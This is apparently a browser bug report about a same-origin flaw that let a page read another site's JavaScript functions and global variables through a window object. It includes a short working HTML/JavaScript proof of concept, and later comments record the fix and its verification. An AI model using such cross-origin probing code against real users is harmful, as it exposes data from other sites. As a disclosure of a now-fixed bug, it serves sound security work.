20469 - Seeing JS functions and global variables from arbitrary host

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

By examining the properties of "window" one may see javascript functions and
global variables in documents from arbitrary host. It is interesting that
this does not work if the functions are commented by HTML (<!--).
The code is:
--------------------------------------------------
<SCRIPT>
function show_props(obj) {
   document.writeln("<H1>Scroll down to see the functions from the other
window:</H1><BR>");
   for (var i in obj)
     document.writeln(i+'='+obj[i]+'<BR>');
}
a=window.open("http://www.microsoft.com");
</SCRIPT>
<A HREF="#" onclick="show_props(a);return false">Click here to see some JS
functions and global variables</A>
--------------------------------------------------

Comment 1

[Norris Boyd]

Fixed URL.

Comment 2

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.

Comment 3

[Norris Boyd]

Fixed with Friday's massive checkin.

Comment 4

[John Unruh]

Verified fixed.